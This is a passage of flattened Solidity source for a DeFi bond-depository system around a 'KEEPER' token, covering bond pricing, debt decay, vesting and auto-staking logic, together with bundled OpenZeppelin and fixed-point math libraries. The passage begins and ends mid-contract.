uint32(block.timestamp), pricePaid: info.pricePaid }); emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout ); return stakeOrSend( _recipient, _stake, _wrap, payout ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to stake payout automatically * @param _stake bool * @param _amount uint * @return uint */ function stakeOrSend( address _recipient, bool _stake, bool _wrap, uint _amount ) internal returns ( uint ) { if ( !_stake ) { // if user does not want to stake IERC20( KEEPER ).transfer( _recipient, _amount ); // send payout } else { // if user wants to stake IERC20( KEEPER ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, _wrap ); } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint timeCanAdjust = adjustment.lastTime.add( adjustment.buffer ); if( adjustment.rate != 0 && block.timestamp >= timeCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target || terms.controlVariable < adjustment.rate ) { adjustment.rate = 0; } } adjustment.lastTime = uint32(block.timestamp); emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = uint32(block.timestamp); } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( KEEPER ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e16 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { if( isLiquidityBond ) { price_ = bondPrice().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 100 ); } else { price_ = bondPrice().mul( 10 ** IERC20Extended( principle ).decimals() ).div( 100 ); } } /** * @notice calculate current ratio of debt to KEEPER supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( KEEPER ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms for reserve or liquidity bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { if ( isLiquidityBond ) { return debtRatio().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 1e9 ); } else { return debtRatio(); } } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint32 timeSinceLast = uint32(block.timestamp).sub32( lastDecay ); decay_ = totalDebt.mul( timeSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint timeSinceLast = uint32(block.timestamp).sub( bond.lastTime ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = timeSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of KEEPER available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or KEEPER) to the DAO * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { require( _token != KEEPER ); require( _token != principle ); IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) ); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IBondCalculator { function markdown( address _LP ) external view returns ( uint ); function valuation( address pair_, uint amount_ ) external view returns ( uint _value ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.7.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Extended is IERC20 { function decimals() external view returns (uint8); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IStaking { function stake( uint _amount, address _recipient, bool _wrap ) external returns ( uint ); function claim ( address _recipient ) external returns ( uint ); function forfeit() external returns ( uint ); function toggleLock() external; function unstake( uint _amount, bool _trigger ) external returns ( uint ); function rebase() external; function index() external view returns ( uint ); function contractBalance() external view returns ( uint ); function totalStaked() external view returns ( uint ); function supplyInWarmup() external view returns ( uint ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface ITreasury { function deposit( uint _amount, address _token, uint _profit ) external returns ( uint ); function withdraw( uint _amount, address _token ) external; function valueOfToken( address _token, uint _amount ) external view returns ( uint value_ ); function mint( address _recipient, uint _amount ) external; function mintRewards( address _recipient, uint _amount ) external; function incurDebt( uint amount_, address token_ ) external; function repayDebtWithReserve( uint amount_, address token_ ) external; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity >=0.5.0 <0.8.0; import "./FullMath.sol"; library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMathExtended { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function sub32(uint32 a, uint32 b) internal pure returns (uint32) { return sub32(a, b, "SafeMath: subtraction overflow"); } function sub32(uint32 a, uint32 b, string memory errorMessage) internal pure returns (uint32) { require(b <= a, errorMessage); uint32 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mul32(uint32 a, uint32 b) internal pure returns (uint32) { if (a == 0) { return 0; } uint32 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity >=0.5.0 <0.8.0; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IBondCalculator.sol"; import "./interfaces/AggregateV3Interface.sol"; import "./interfaces/ITreasury.sol"; import "./interfaces/IsKEEPER.sol"; import "./interfaces/IwTROVE.sol"; import "./interfaces/IStaking.sol"; import "./libraries/FixedPoint.sol"; import "./libraries/SafeMathExtended.sol"; contract VLPBondStakeDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMathExtended for uint; using SafeMathExtended for uint32; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable KEEPER; // token given as payment for bond address public immutable sKEEPER; // token given as payment for bond address public immutable wTROVE; // Wrap sKEEPER address public immutable principle; // token used to create bond address public immutable treasury; // mints KEEPER when receives principle address public immutable bondCalculator; // calculates value of LP tokens AggregatorV3Interface internal priceFeed; address public staking; // to auto-stake payout Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint32 public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint32 vestingTerm; // in seconds uint controlVariable; // scaling variable for price uint minimumPrice; // vs principle value. 4 decimals (1500 = 0.15) uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint32 vesting; // seconds left to vest uint32 lastTime; // Last interaction uint gonsPayout; // KEEPER remaining to be paid uint pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint32 buffer; // minimum length (in blocks) between adjustments uint32 lastTime; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor ( address _KEEPER, address _sKEEPER, address _wTROVE, address _principle, address _staking, address _treasury, address _bondCalculator, address _feed) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; require( _sKEEPER != address(0) ); sKEEPER = _sKEEPER; require( _wTROVE != address(0) ); wTROVE = _wTROVE; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _staking != address(0) ); staking = _staking; require( _bondCalculator != 